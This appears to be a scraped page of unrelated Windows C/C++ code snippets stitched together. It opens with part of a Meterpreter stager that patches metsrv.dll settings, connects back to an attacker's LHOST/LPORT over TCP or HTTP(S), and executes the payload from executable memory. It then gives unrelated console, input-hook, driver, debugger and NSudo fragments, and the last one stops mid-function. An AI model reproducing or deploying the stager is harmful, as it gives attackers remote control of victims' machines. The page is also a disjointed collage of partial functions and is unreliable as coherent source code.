			index = 0; //rewind
			index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x61\xe6\x4b\xb6", 4); //int *global_expiration_timeout = 0xb64be661; little endian, metsrv.dll 
			if (index == 0) // if the global_expiration_timeout is not found ...
			{
				dprintf(L"[-] Couldn't locate global_expiration_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}

			if(payload_settings.expiration_timeout == NULL)
			{
				dprintf(L"[!] No expiration_timeout specified, using 60400 seconds ...\n");
				payload_settings.expiration_timeout = 60400;
			}
			dprintf(L"[*] Patching global_expiration_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.expiration_timeout);
			memcpy(&buffer[index], &payload_settings.expiration_timeout, 4);

			//Patching global_comm_timeout.
			index = 0; //rewind
			index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x7f\x25\x79\xaf", 4); //int *global_comm_timeout = 0xaf79257f; little endian, metsrv.dll 
			if (index == 0) // if the global_expiration_timeout is not found ...
			{
				dprintf(L"[-] Couldn't locate global_comm_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}

			if(payload_settings.comm_timeout == NULL)
			{
				dprintf(L"[!] No comm_timeout specified, using 300 seconds ...\n");
				payload_settings.comm_timeout = 300;
			}
			dprintf(L"[*] Patching global_comm_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.comm_timeout);
			memcpy(&buffer[index], &payload_settings.comm_timeout, 4);
		}

		/*
		*	Preparing connection...
		*/
		// Are we reverse_metsvc?
		if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && !bBind) //Transport SSL, but not bind.
		{
			if(!metsvc) //Are we METERPRETER_TRANSPORT_SSL but not metsvc? note that reverse_tcp AND reverse_metsvc use the same transport, it's the exploit/multi/handler that will make the difference.
			{
				// If we reached this far, it means that the stage is loaded, transport is SSL, yet metsvc is still false "not chosen", even though we have the stage
				// That means stage will be loaded AGAIN over network, next time, they should chose reverse_metsvc.
				// However, The customer is always right, right? let's connect them to their beloved reverse_tcp in stager mode nevertheless.
				// ... but we have to tell them what they've done wrong.
				dprintf(L"\n[!] We already have the stage, why did you chose reverse_tcp? you could've picked reverse_metsvc.\n" 
						L"    next time use \"-t reverse_metsvc\" -> \"exploit/multi/handler/windows/metsvc_reverse_tcp\".\n"
						L" -  anyway, will assume you know what you're doing and connect to reverse_tcp in *stager* mode...\n\n");
					
				dprintf(L"[*] Make sure you have \"windows/meterpreter/reverse_tcp\" handler running.\n\n");
				
				// Let's just fallback to stager mode ... you foolish noisy bandwidth wasters.
				StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT);
				// see you on the other side :)
			} 

			// we are METERPRETER_TRANSPORT_SSL, we have the stage, and metsvc is true :)

			// Adjusting buffer .. this is important!
			// reverse_metsvc has extra requirements ... the stage needs to be preceeded with `0xBF + 4 bytes of a valid socket connected to the handler` 
			// My approach to acheive this: We'll first VirtualAlloc size + 5 bytes to another buffer "TempBuffer", skip 5 bytes, then copy the contents 
			// of "buffer" over, then point buffer to that new TempBuffer ... then take it from there.
			TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			memcpy(TempBuffer + 5, buffer, StageSize);		//skiping first five bytes, then copying buffer contents ...
			buffer = TempBuffer;							//Got it? I'm sure there's a better way to do that, but I'm not smart enough to figure out how yet :).
			//////////////////////////////////////////////////

			if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_reverse_tcp\" handler running.\n\n");
			ConnectSocket = get_socket(payload_settings.LHOST,payload_settings.LPORT);
			if (ConnectSocket == INVALID_SOCKET)
			{
				dprintf(L"[-] Failed to connect ... will exit!\n");
				exit(1);
			}
			dprintf(L"[*] Setting EDI-to-be value:  0x%08x -> 0xBF\n", &buffer);
			buffer[0] = 0xBF;
			dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
			memcpy(buffer+1, &ConnectSocket, 4);
		} 
		
				// Are we bind??
		else if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && bBind) // I know we could've merged this with the previous code block, but that's clearer.
		{
			if(!metsvc)
			{
				dprintf(L"\n[!] We already have the stage, why did you chose bind_tcp? you could've picked bind_metsvc.\n" 
						L"    next time use \"-t bind_metsvc\" -> \"exploit/multi/handler/windows/metsvc_bind_tcp\".\n"
						L" -  anyway, will assume you know what you're doing and connect to bind_tcp in *stager* mode...\n\n");
					
				dprintf(L"[*] Make sure you have \"windows/meterpreter_bind_tcp\" handler running.\n\n");

				StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT);
			} 
			
			TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			memcpy(TempBuffer + 5, buffer, StageSize);
			buffer = TempBuffer;

			if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_bind_tcp\" handler running.\n\n");
			ConnectSocket = get_server_socket(payload_settings.LHOST,payload_settings.LPORT);
			if (ConnectSocket == INVALID_SOCKET)
			{
				dprintf(L"[-] Failed to connect ... will exit!\n");
				exit(1);
			}
			dprintf(L"[*] Setting EDI-to-be value:  0x%08x -> 0xBF\n", &buffer);
			buffer[0] = 0xBF;
			dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
			memcpy(buffer+1, &ConnectSocket, 4);
		} 

		// Are we reverse_http(s)?
		else if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0))
		{
			/*
			Building the URL
			*/
			int checksum = 0;			//Calculated Checksum placeholder. 
			char URI_Part_1[5] = {0};	//4 chars ... it can be any length actually.
			char URI_Part_2[17] = {0};	//16 random chars.
			srand ( (UINT)time(NULL) );	//Seed rand() 

			while(true)				//Keep getting random values till we succeed, don't worry, computers are pretty fast and we're not asking for much.
			{
				gen_random(URI_Part_1, 4);				//Generate a 4 char long random string ... it could be any length actually, but 4 sounded just fine.
				checksum = TextChecksum8(URI_Part_1);	//Get the 8-bit checksum of the random value
				if(checksum == URI_CHECKSUM_CONN)		//If the checksum == 98, it will be handled by the multi/handler correctly as a "CONN_" and will be short fused into a session.
				{
					break; // We found a random string that checksums to 98
				}
			}
			gen_random(URI_Part_2, 16);	//get second part, random 16 chars

			//Let's build the complete uri, it should look like http(s)://LHOST:LPORT/CHECKSUM8(98)_XXXXXXXXXXXXXXXX/
			//HTTP? HTTPS?
			if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0)
				strcat_s(url, "http://");
			else
				strcat_s(url, "https://");

			//The joys of converting between wchar_t and char ...
			char tempChar1[512] = {0}; //This is used for converting from wchar_t to char... 
			char tempChar2[512] = {0}; //This is used for converting from wchar_t to char... 

			wcstombs_s(NULL,tempChar1,payload_settings.LHOST, wcslen(payload_settings.LHOST)); //convert the LHOST to char
			wcstombs_s(NULL,tempChar2,payload_settings.LPORT, wcslen(payload_settings.LPORT)); //convert the LPORT to char

			//wide-char conversion happiness ends here... building the url...
			strcat_s(url,tempChar1);	// "http(s)://LHOST"
			strcat_s(url,":");			// "http(s)://LHOST:"
			strcat_s(url,tempChar2);	// "http(s)://LHOST:LPORT"
			strcat_s(url,"/");			// "http(s)://LHOST:LPORT/"
			strcat_s(url,URI_Part_1);	// "http(s)://LHOST:LPORT/CONN"
			strcat_s(url,"_");			// "http(s)://LHOST:LPORT/CONN_"
			strcat_s(url,URI_Part_2);	// "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX"
			strcat_s(url,"/\0");		// "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX/"
			//Thanks for waiting... :)

			wchar_t temp[512] = {0};
			mbstowcs_s(NULL,temp,url,strlen(url));
			dprintf(L"[*] Calculated URL: %s\n",temp);

			//Patching URL ...
			index = 0; //Rewind
			index = binstrstr(buffer, (int)bufferSize, (unsigned char*)global_meterpreter_url, (int)strlen(global_meterpreter_url));
			if (index == 0) // if the global_meterpreter_url is not found ...
			{
				dprintf(L"[-] Couldn't locate global_meterpreter_url string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}
			dprintf(L"[*] Patching global_meterpreter_url: Offset 0x%08x ->  \"%s\"\n", index, temp );
			memcpy(&buffer[index], &url, strlen(url)+1); //+1 to make sure it'll be null terminated, otherwise it will end with 'X'
		}

	}

	dprintf(L"[*] Everything in place, casting whole buffer as a function...\n");
	function = (void (*)())buffer;

	dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n");
	FreeConsole();
	function();
	return 0;
}
Пример #26
0
HWND TabView::CreateNewConsole(ConsoleViewCreate* consoleViewCreate, const wstring& strCmdLineInitialDir /*= wstring(L"")*/, const wstring& strCmdLineInitialCmd /*= wstring(L"")*/, DWORD dwBasePriority /*= ULONG_MAX*/)
{
	DWORD dwRows    = g_settingsHandler->GetConsoleSettings().dwRows;
	DWORD dwColumns = g_settingsHandler->GetConsoleSettings().dwColumns;

	MutexLock	viewMapLock(m_viewsMutex);
#if 0
	if (m_views.size() > 0)
	{
		SharedMemory<ConsoleParams>& consoleParams = m_views.begin()->second->GetConsoleHandler().GetConsoleParams();
		dwRows		= consoleParams->dwRows;
		dwColumns	= consoleParams->dwColumns;
	}
	else
	{
		// initialize member variables for the first view
		m_dwRows	= dwRows;
		m_dwColumns	= dwColumns;
	}
#endif
	std::shared_ptr<ConsoleView> consoleView(new ConsoleView(m_mainFrame, m_hWnd, m_tabData, dwRows, dwColumns, strCmdLineInitialDir, strCmdLineInitialCmd, dwBasePriority));
	consoleView->Group(this->IsGrouped());
	UserCredentials userCredentials;

	if( consoleViewCreate->type == ConsoleViewCreate::CREATE )
	{
		consoleViewCreate->u.userCredentials = &userCredentials;

		if (m_tabData->bRunAsUser)
		{
			userCredentials.netOnly = m_tabData->bNetOnly;
#ifdef _USE_AERO
			// Display a dialog box to request credentials.
			CREDUI_INFO ui;
			ui.cbSize = sizeof(ui);
			ui.hwndParent = m_hWnd;
			ui.pszMessageText = m_tabData->strShell.c_str();
			ui.pszCaptionText = L"Run as different user";
			ui.hbmBanner = NULL;

			// we need a target
			WCHAR szModuleFileName[_MAX_PATH] = L"";
			::GetModuleFileName(NULL, szModuleFileName, ARRAYSIZE(szModuleFileName));

			WCHAR szUser    [CREDUI_MAX_USERNAME_LENGTH + 1] = L"";
			WCHAR szPassword[CREDUI_MAX_PASSWORD_LENGTH + 1] = L"";
			wcscpy_s(szUser, ARRAYSIZE(szUser), m_tabData->strUser.c_str());

			try
			{
				if (g_settingsHandler->GetBehaviorSettings2().runAsUserSettings.bUseCredentialProviders)
				{
					ULONG ulAuthPackage = 0;
					std::unique_ptr<BYTE[]> pvInAuthBlob;
					ULONG cbInAuthBlob  = 0;
					std::unique_ptr<void, CoTaskMemFreeHelper> pvOutAuthBlob;
					ULONG cbOutAuthBlob = 0;
					BOOL  fSave         = FALSE;

					if( szUser[0] )
					{
						::CredPackAuthenticationBuffer(
							0,                                //_In_     DWORD dwFlags,
							szUser,                           //_In_     LPTSTR pszUserName,
							szPassword,                       //_In_     LPTSTR pszPassword,
							nullptr,                          //_Out_    PBYTE pPackedCredentials,
							&cbInAuthBlob                     //_Inout_  DWORD *pcbPackedCredentials
							);

						pvInAuthBlob.reset(new BYTE [cbInAuthBlob]);

						if( !::CredPackAuthenticationBuffer(
							0,                                //_In_     DWORD dwFlags,
							szUser,                           //_In_     LPTSTR pszUserName,
							szPassword,                       //_In_     LPTSTR pszPassword,
							pvInAuthBlob.get(),               //_Out_    PBYTE pPackedCredentials,
							&cbInAuthBlob                     //_Inout_  DWORD *pcbPackedCredentials
							) )
							Win32Exception::ThrowFromLastError("CredPackAuthenticationBuffer");
					}

					{
						PVOID pvAuthBlob = nullptr;
						DWORD rc = ::CredUIPromptForWindowsCredentials(
							&ui,                              //_In_opt_     PCREDUI_INFO pUiInfo,
							0,                                //_In_         DWORD dwAuthError,
							&ulAuthPackage,                   //_Inout_      ULONG *pulAuthPackage,
							pvInAuthBlob.get(),               //_In_opt_     LPCVOID pvInAuthBuffer,
							cbInAuthBlob,                     //_In_         ULONG ulInAuthBufferSize,
							&pvAuthBlob,                      //_Out_        LPVOID *ppvOutAuthBuffer,
							&cbOutAuthBlob,                   //_Out_        ULONG *pulOutAuthBufferSize,
							&fSave,                           //_Inout_opt_  BOOL *pfSave,
							pvInAuthBlob.get()                //_In_         DWORD dwFlags
							? CREDUIWIN_IN_CRED_ONLY
							: 0
							);

						if( rc == ERROR_CANCELLED )
							return 0;

						if( rc != NO_ERROR )
							Win32Exception::Throw("CredUIPromptForWindowsCredentials", rc);

						pvOutAuthBlob.reset(pvAuthBlob);
					}

					TCHAR szDomain[CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1] = L"";
					DWORD maxLenName     = CREDUI_MAX_USERNAME_LENGTH      + 1;
					DWORD maxLenPassword = CREDUI_MAX_PASSWORD_LENGTH      + 1;
					DWORD maxLenDomain   = CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1;

					if( !::CredUnPackAuthenticationBuffer(
						0,
						pvOutAuthBlob.get(),
						cbOutAuthBlob,
						szUser,
						&maxLenName,
						szDomain,
						&maxLenDomain,
						szPassword,
						&maxLenPassword
						) )
						Win32Exception::ThrowFromLastError("CredUIPromptForWindowsCredentials");

					userCredentials.SetUser(szUser);
					userCredentials.password = szPassword;

					::SecureZeroMemory(pvOutAuthBlob.get(), cbOutAuthBlob);
				}
				else
				{
					DWORD rc = ::CredUIPromptForCredentials(
						&ui,                                //__in_opt  PCREDUI_INFO pUiInfo,
						szModuleFileName,                   //__in      PCTSTR pszTargetName,
						NULL,                               //__in      PCtxtHandle Reserved,
						0,                                  //__in_opt  DWORD dwAuthError,
						szUser,                             //__inout   PCTSTR pszUserName,
						ARRAYSIZE(szUser),                  //__in      ULONG ulUserNameMaxChars,
						szPassword,                         //__inout   PCTSTR pszPassword,
						ARRAYSIZE(szPassword),              //__in      ULONG ulPasswordMaxChars,
						NULL,                               //__inout   PBOOL pfSave,
						CREDUI_FLAGS_EXCLUDE_CERTIFICATES | //__in      DWORD dwFlags
						CREDUI_FLAGS_ALWAYS_SHOW_UI       |
						CREDUI_FLAGS_GENERIC_CREDENTIALS  |
						CREDUI_FLAGS_DO_NOT_PERSIST
						);

						if( rc == ERROR_CANCELLED )
							return 0;

						if( rc != NO_ERROR )
							Win32Exception::Throw("CredUIPromptForCredentials", rc);

					userCredentials.SetUser(szUser);
					userCredentials.password = szPassword;
				}
			}
			catch(std::exception& err)
			{
				MessageBox(
					boost::str(boost::wformat(Helpers::LoadStringW(IDS_ERR_CANT_START_SHELL_AS_USER)) % L"?" % m_tabData->strUser % err.what()).c_str(),
					L"Error",
					MB_OK|MB_ICONERROR);
				return 0;
			}

#else
			DlgCredentials dlg(m_tabData->strUser.c_str());

			if (dlg.DoModal() != IDOK) return 0;

			userCredentials.user     = dlg.GetUser();
			userCredentials.password = dlg.GetPassword();
#endif
		}
		else
		{
			userCredentials.runAsAdministrator = m_tabData->bRunAsAdministrator;
		}
	}

	HWND hwndConsoleView = consoleView->Create(
											m_hWnd, 
											rcDefault, 
											NULL, 
											WS_CHILD | WS_VISIBLE,// | WS_CLIPSIBLINGS | WS_CLIPCHILDREN, 
											0,
											0U,
											reinterpret_cast<void*>(consoleViewCreate));

	if (hwndConsoleView == NULL)
	{
		CString	strMessage(consoleView->GetExceptionMessage());

		if (strMessage.GetLength() == 0)
		{
			strMessage.Format(IDS_ERR_TAB_CREATE_FAILED, m_tabData->strTitle.c_str(), m_tabData->strShell.c_str());
		}

		::MessageBox(m_hWnd, strMessage, L"Error", MB_OK|MB_ICONERROR);

		return 0;
	}

	m_views.insert(ConsoleViewMap::value_type(hwndConsoleView, consoleView));

	return hwndConsoleView;
}
Пример #27
0
BOOL WINAPI HookSA::HookSetupDiGetDeviceInstanceIdW(HDEVINFO DeviceInfoSet, PSP_DEVINFO_DATA DeviceInfoData, PWSTR DeviceInstanceId, DWORD DeviceInstanceIdSize, PDWORD RequiredSize)
{
	BOOL ret = TrueSetupDiGetDeviceInstanceIdW(DeviceInfoSet, DeviceInfoData, DeviceInstanceId, DeviceInstanceIdSize, RequiredSize);
	if (!InputHookManager::Get().GetInputHook().GetState(InputHook::HOOK_SA)) return ret;
	PrintLog("SetupDiGetDeviceInstanceId");

	if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) return ret;

	InputHookManager::Get().GetInputHook().StartTimeoutThread();

	if (DeviceInstanceId && ret)
	{
		DWORD dwPid = 0, dwVid = 0;

		wchar_t* strVid = wcsstr(DeviceInstanceId, L"VID_");
		if (!strVid || swscanf_s(strVid, L"VID_%4X", &dwVid) < 1)
			return ret;

		wchar_t* strPid = wcsstr(DeviceInstanceId, L"PID_");
		if (!strPid || swscanf_s(strPid, L"PID_%4X", &dwPid) < 1)
			return ret;

		for (auto padcfg = InputHookManager::Get().GetInputHook().begin(); padcfg != InputHookManager::Get().GetInputHook().end(); ++padcfg)
		{
			if (padcfg->GetProductPIDVID() == (DWORD)MAKELONG(dwVid, dwPid))
			{
				const wchar_t* strUSB = wcsstr(DeviceInstanceId, L"USB\\");
				const wchar_t* strRoot = wcsstr(DeviceInstanceId, L"root\\");

				DWORD dwHookVid = InputHookManager::Get().GetInputHook().GetState(InputHook::HOOK_PIDVID) ? LOWORD(InputHookManager::Get().GetInputHook().GetFakePIDVID()) : LOWORD(padcfg->GetProductPIDVID());
				DWORD dwHookPid = InputHookManager::Get().GetInputHook().GetState(InputHook::HOOK_PIDVID) ? HIWORD(InputHookManager::Get().GetInputHook().GetFakePIDVID()) : HIWORD(padcfg->GetProductPIDVID());

				std::wstring tmpString;
				if (strUSB || strRoot)
				{
					const wchar_t* p = wcsrchr(DeviceInstanceId, L'\\');
					if (p) tmpString = StringFormat(L"USB\\VID_%04X&PID_%04X&IG_%02d%s", dwHookVid, dwHookPid, padcfg->GetUserIndex(), p);
					else tmpString = StringFormat(L"USB\\VID_%04X&PID_%04X&IG_%02d", dwHookVid, dwHookPid, padcfg->GetUserIndex());

					if (DeviceInstanceIdSize < tmpString.size())
					{
						SetLastError(ERROR_INSUFFICIENT_BUFFER);
						if (RequiredSize) *RequiredSize = (DWORD)tmpString.size() + 1;
						//return FALSE; //NOTE: return FALSE here breaks Beat Hazard
						continue;
					}
					else if (DeviceInstanceIdSize > tmpString.size())
					{
						PrintLog("Device string change:", DeviceInstanceId);
						PrintLog("%ls", DeviceInstanceId);
						wcscpy_s(DeviceInstanceId, DeviceInstanceIdSize, tmpString.c_str());
						if (RequiredSize) *RequiredSize = (DWORD)tmpString.size() + 1;
						PrintLog("%ls", DeviceInstanceId);
						continue;
					}
				}

				wchar_t* strHID = wcsstr(DeviceInstanceId, L"HID\\");

				if (strHID)
				{
					wchar_t* p = wcsrchr(DeviceInstanceId, L'\\');
					tmpString = StringFormat(L"HID\\VID_%04X&PID_%04X&IG_%02d%s", dwHookVid, dwHookPid, padcfg->GetUserIndex(), p);

					if (DeviceInstanceIdSize < tmpString.size())
					{
						SetLastError(ERROR_INSUFFICIENT_BUFFER);
						if (RequiredSize) *RequiredSize = (DWORD)tmpString.size() + 1;
						//return FALSE; //NOTE: return FALSE here breaks Beat Hazard
						continue;
					}
					else if (DeviceInstanceIdSize > tmpString.size())
					{
						PrintLog("Device string change:", DeviceInstanceId);
						PrintLog("%ls", DeviceInstanceId);
						wcscpy_s(DeviceInstanceId, DeviceInstanceIdSize, tmpString.c_str());
						if (RequiredSize) *RequiredSize = (DWORD)tmpString.size() + 1;
						PrintLog("%ls", DeviceInstanceId);
						continue;
					}
				}
			}
		}
	}

	return ret;
}
Пример #28
0
NTSTATUS
DeviceConfigure(
    _In_  PDEVICE_CONTEXT   DeviceContext
    )
/*++

  Routine Description:

    This method is called after the device callback object has been initialized
    and returned to the driver.  It would setup the device's queues and their
    corresponding callback objects.

  Arguments:

    FxDevice - the framework device object for which we're handling events.

  Return Value:

    status

--*/
{
    NTSTATUS                status;
    WDFDEVICE               device = DeviceContext->Device;
    WDFKEY                  key;
    LPGUID                  guid;
    errno_t                 errorNo;
    
    DECLARE_CONST_UNICODE_STRING(portName,          REG_VALUENAME_PORTNAME);
    DECLARE_UNICODE_STRING_SIZE (comPort,           10);
    DECLARE_UNICODE_STRING_SIZE (symbolicLinkName,  SYMBOLIC_LINK_NAME_LENGTH);

#ifdef _FAKE_MODEM
    //
    // Compiled as fake modem
    //
    guid = (LPGUID) &GUID_DEVINTERFACE_MODEM;
#else
    //
    // Compiled as virtual serial port
    //
    guid = (LPGUID) &GUID_DEVINTERFACE_COMPORT;
#endif

    //
    // Create device interface
    //
    status = WdfDeviceCreateDeviceInterface(
                            device,
                            guid,
                            NULL);
    if (!NT_SUCCESS(status)) {
        Trace(TRACE_LEVEL_ERROR,
            "Error: Cannot create device interface");
        goto Exit;
    }

    //
    // Read the COM port number from the registry, which has been automatically
    // created by "MsPorts!PortsClassInstaller" if INF file says "Class=Ports"
    //
    status = WdfDeviceOpenRegistryKey(
                            device,
                            PLUGPLAY_REGKEY_DEVICE,
                            KEY_QUERY_VALUE,
                            WDF_NO_OBJECT_ATTRIBUTES,
                            &key);
    if (!NT_SUCCESS(status)) {
        Trace(TRACE_LEVEL_ERROR,
            "Error: Failed to retrieve device hardware key root");
        goto Exit;
    }

    status = WdfRegistryQueryUnicodeString(
                            key,
                            &portName,
                            NULL,
                            &comPort);
    if (!NT_SUCCESS(status)) {
        Trace(TRACE_LEVEL_ERROR,
            "Error: Failed to read PortName");
        goto Exit;
    }
        
    //
    // Manually create the symbolic link name. Length is the length in
    // bytes not including the NULL terminator.
    //
    // 6054 and 26035 are code analysis warnings that comPort.Buffer might
    // not be NULL terminated, while we know that they are. 
    //
    #pragma warning(suppress: 6054 26035)
    symbolicLinkName.Length = (USHORT)((wcslen(comPort.Buffer) * sizeof(wchar_t))
                                + sizeof(SYMBOLIC_LINK_NAME_PREFIX) - sizeof(UNICODE_NULL));
                                
    if (symbolicLinkName.Length >= symbolicLinkName.MaximumLength) {
        
        Trace(TRACE_LEVEL_ERROR, "Error: Buffer overflow when creating COM port name. Size"
            " is %d, buffer length is %d", symbolicLinkName.Length, symbolicLinkName.MaximumLength);
        status = STATUS_BUFFER_OVERFLOW;
        goto Exit;
    }
        
    errorNo = wcscpy_s(symbolicLinkName.Buffer,
                       SYMBOLIC_LINK_NAME_LENGTH,
                       SYMBOLIC_LINK_NAME_PREFIX);
                           
    if (errorNo != 0) {
        Trace(TRACE_LEVEL_ERROR, 
              "Failed to copy %ws to buffer with error %d",
              SYMBOLIC_LINK_NAME_PREFIX, errorNo);
        status = STATUS_INVALID_PARAMETER;
        goto Exit;
    }
        
    errorNo = wcscat_s(symbolicLinkName.Buffer,
                       SYMBOLIC_LINK_NAME_LENGTH,
                       comPort.Buffer);
                           
    if (errorNo != 0) {
        Trace(TRACE_LEVEL_ERROR, 
              "Failed to copy %ws to buffer with error %d",
              comPort.Buffer, errorNo);
        status = STATUS_INVALID_PARAMETER;
        goto Exit;
    }
                                
    //
    // Create symbolic link
    //
    status = WdfDeviceCreateSymbolicLink(
                            device,
                            &symbolicLinkName);
    if (!NT_SUCCESS(status)) {
        Trace(TRACE_LEVEL_ERROR,
            "Error: Cannot create symbolic link %ws", symbolicLinkName.Buffer);
        goto Exit;
    }

    status = DeviceGetPdoName(DeviceContext);
    if (!NT_SUCCESS(status)) {
        goto Exit;
    }

    status = DeviceWriteLegacyHardwareKey(
                            DeviceContext->PdoName,
                            comPort.Buffer,
                            DeviceContext->Device);
    if (NT_SUCCESS(status)) {
        DeviceContext->CreatedLegacyHardwareKey = TRUE;
    }

    status = QueueCreate(DeviceContext);
    if (!NT_SUCCESS(status)) {
        goto Exit;
    }

Exit:
    return status;
}
Пример #29
0
// Constructor
CorpubProcess::CorpubProcess(DWORD dwProcessId,
                             bool fManaged,
                             HANDLE hProcess,
                             HANDLE hMutex,
                             AppDomainEnumerationIPCBlock *pAD,
#if !defined(FEATURE_DBGIPC_TRANSPORT_DI)
                             IPCReaderInterface *pIPCReader,
#endif // !FEATURE_DBGIPC_TRANSPORT_DI
                             FPGetModuleFileNameEx * fpGetModuleFileNameEx)
    : CordbCommonBase(0, enumCorpubProcess),
      m_dwProcessId(dwProcessId),
      m_fIsManaged(fManaged),
      m_hProcess(hProcess),
      m_hMutex(hMutex),
      m_AppDomainCB(pAD),
#if !defined(FEATURE_DBGIPC_TRANSPORT_DI)
      m_pIPCReader(pIPCReader),
#endif // !FEATURE_DBGIPC_TRANSPORT_DI
      m_pNext(NULL)
{
    {
        // First try to get the process name from the OS. That can't be spoofed by badly formed IPC block.
        // psapi!GetModuleFileNameExW can get that, but it's not available on all platforms so we
        // need to load it dynamically.
        if (fpGetModuleFileNameEx != NULL)
        {
            // MSDN is very confused about whether the lenght is in bytes (MSDN 2002) or chars (MSDN 2004).
            // We err on the safe side by having buffer that's twice as large, and ignoring
            // the units on the return value.
            WCHAR szName[MAX_PATH * sizeof(WCHAR)];

            DWORD lenInCharsOrBytes = MAX_PATH*sizeof(WCHAR);

            // Pass NULL module handle to get "Main Module", which will give us the process name.
            DWORD ret = (*fpGetModuleFileNameEx) (hProcess, NULL, szName, lenInCharsOrBytes);
            if (ret > 0)
            {
                // Recompute string length because we don't know if 'ret' is in bytes or char.
                SIZE_T len = wcslen(szName) + 1;
                m_szProcessName = new (nothrow) WCHAR[len];
                if (m_szProcessName != NULL)
                {
                    wcscpy_s(m_szProcessName, len, szName);
                    goto exit;
                }
            }
        }

        // This is a security feature on WinXp + above, so make sure it worked there.
        CONSISTENCY_CHECK_MSGF(FALSE, ("On XP/2k03 OSes + above, we should have been able to get\n"
            "the module name from psapi!GetModuleFileNameEx. fp=0x%p\n.", fpGetModuleFileNameEx));
    }
    // We couldn't get it from the OS, so fallthrough to getting it from the IPC block.

    // Fetch the process name from the AppDomainIPCBlock
    _ASSERTE (pAD->m_szProcessName != NULL);

    if (pAD->m_szProcessName == NULL)
        m_szProcessName = NULL;
    else
    {
        SIZE_T nBytesRead;

        _ASSERTE(pAD->m_iProcessNameLengthInBytes > 0);

        // Note: this assumes we're reading the null terminator from
        // the IPC block.
        m_szProcessName = (WCHAR*) new (nothrow) char[pAD->m_iProcessNameLengthInBytes];

        if (m_szProcessName == NULL)
        {
            LOG((LF_CORDB, LL_INFO1000,
             "CP::CP: Failed to allocate memory for ProcessName.\n"));

            goto exit;
        }

        BOOL bSucc = ReadProcessMemory(hProcess,
                                        pAD->m_szProcessName,
                                        m_szProcessName,
                                        pAD->m_iProcessNameLengthInBytes,
                                        &nBytesRead);

        if ((bSucc == 0) ||
            (nBytesRead != (SIZE_T)pAD->m_iProcessNameLengthInBytes))
        {
            // The EE may have done a rude exit
            LOG((LF_CORDB, LL_INFO1000,
             "CP::EAD: ReadProcessMemory (ProcessName) failed.\n"));
        }
    }

exit:
    ;
}
Пример #30
0
INT_PTR CALLBACK NSudoDlgCallBack(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
	HWND hUserName = GetDlgItem(hDlg, IDC_UserName);
	HWND hTokenPrivilege = GetDlgItem(hDlg, IDC_TokenPrivilege);
	HWND hMandatoryLabel = GetDlgItem(hDlg, IDC_MandatoryLabel);
	HWND hszPath = GetDlgItem(hDlg, IDC_szPath);

	wchar_t szCMDLine[260], szUser[260], szPrivilege[260], szMandatory[260], szBuffer[260];

	switch (message)
	{
	case WM_INITDIALOG:
		
		// Show NSudo Logo
		SendMessageW(
			GetDlgItem(hDlg, IDC_NSudoLogo),
			STM_SETIMAGE,
			IMAGE_ICON,
			LPARAM(LoadImageW(GetModuleHandleW(NULL), MAKEINTRESOURCE(IDI_NSUDO), IMAGE_ICON, 0, 0, LR_COPYFROMRESOURCE)));

		//Show Warning Icon
		SendMessageW(
			GetDlgItem(hDlg, IDC_Icon),
			STM_SETIMAGE,
			IMAGE_ICON,
			LPARAM(LoadIconW(NULL, IDI_WARNING)));

		SendMessageW(hUserName, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_TI);
		SendMessageW(hUserName, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_Sys);
		SendMessageW(hUserName, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_CP);
		SendMessageW(hUserName, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_CU);
		SendMessageW(hUserName, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_CPD);
		SendMessageW(hUserName, CB_SETCURSEL, 4, 0); //设置默认项"TrustedInstaller"
		
		SendMessageW(hTokenPrivilege, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_Default);
		SendMessageW(hTokenPrivilege, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_EnableAll);
		SendMessageW(hTokenPrivilege, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_DisableAll);
		SendMessageW(hTokenPrivilege, CB_SETCURSEL, 2, 0); //设置默认项"默认"

		SendMessageW(hMandatoryLabel, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_Low);
		SendMessageW(hMandatoryLabel, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_Medium);
		SendMessageW(hMandatoryLabel, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_High);
		SendMessageW(hMandatoryLabel, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_System);
